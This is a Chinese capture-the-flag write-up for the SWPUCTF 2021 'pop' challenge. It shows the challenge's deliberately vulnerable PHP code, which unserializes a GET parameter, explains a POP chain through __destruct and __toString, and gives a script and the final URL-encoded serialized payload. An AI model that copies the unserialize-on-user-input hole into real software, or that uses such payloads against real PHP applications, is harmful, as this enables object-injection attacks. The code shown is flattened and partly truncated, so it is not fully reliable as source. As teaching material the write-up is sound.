# [SWPUCTF 2021 新生赛]pop # [SWPUCTF 2021 新生赛]pop ```php admin === 'w44m' && $this->passwd === '08067') { // 如果条件成立,包含 'flag.php' 文件并输出 $flag 变量 include('flag.php'); echo $flag; } else { echo $this->admin; echo $this->passwd; echo 'nono'; } } } // 定义类 w22m class w22m { // 公共成员变量 $w00m public $w00m; // __destruct 魔术方法,在对象销毁时调用 public function __destruct() { // 输出 $w00m 的值 echo $this->w00m; } } // 定义类 w33m class w33m { // 公共成员变量 $w00m public $w00m; // 公共成员变量 $w22m public $w22m; // __toString 魔术方法,在将对象转换为字符串时调用 public function __toString() { // 调用 $w00m 对象的 $w22m 方法 $this->w00m->{$this->w22m}(); // 返回整数 0 return 0; } } // 从 $_GET 中获取参数 w00m $w00m = $_GET['w00m']; // 对参数 w00m 执行反序列化操作 unserialize($w00m); ?> ``` 想要获得 flag 就得让 w44m 类的 Getflag() 执行,并且 admin 变量为 'w44m' 、 passwd 变量为 '08067' 序列化和反序列化只会执行魔术方法,直接序列化和反序列化 w44m 类的对象都不会执行 Getflag() 方法 而 w33m 类的魔术方法 __toString() 的内容刚好是执行某个对象的某个方法 __toString() 会在对象被转化为字符串时调用,直接序列化和反序列化 w33m 类的对象没法调用 \_\_toString() 方法 w22m 类的 __destruct() 魔术方法会在对象销毁时调用,内容是输出一个变量的值 ​ 捋一下思路: 1. 当 w22m 类的对象被反序列化后销毁时调用 __destruct() ,输出 w00m 变量的值,w00m 变量的值是 w33m 类实例化的对象 2. 要输出 w33m 类实例化的对象会将对象转化为字符串,会调用 __toString() ,从而调用 w00m 对象的 w22m 方法, w00m 为 w44m 类实例化的对象, w22m 为 Getflag() 方法 3. w44m 类实例化的对象中的 admin = 'w44m'、passwd = '08067',符合条件,输出 flag ```php w00m = new w33m(); $o->w00m->w00m = new w44m(); $o->w00m->w22m = 'Getflag'; $o = serialize($o); echo urlencode($o); ?> ``` ![[SWPUCTF 2021 新生赛]pop-1](https://pic.imgdb.cn/item/654e4bbdc458853aef0a2f52.jpg) payload : `O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D`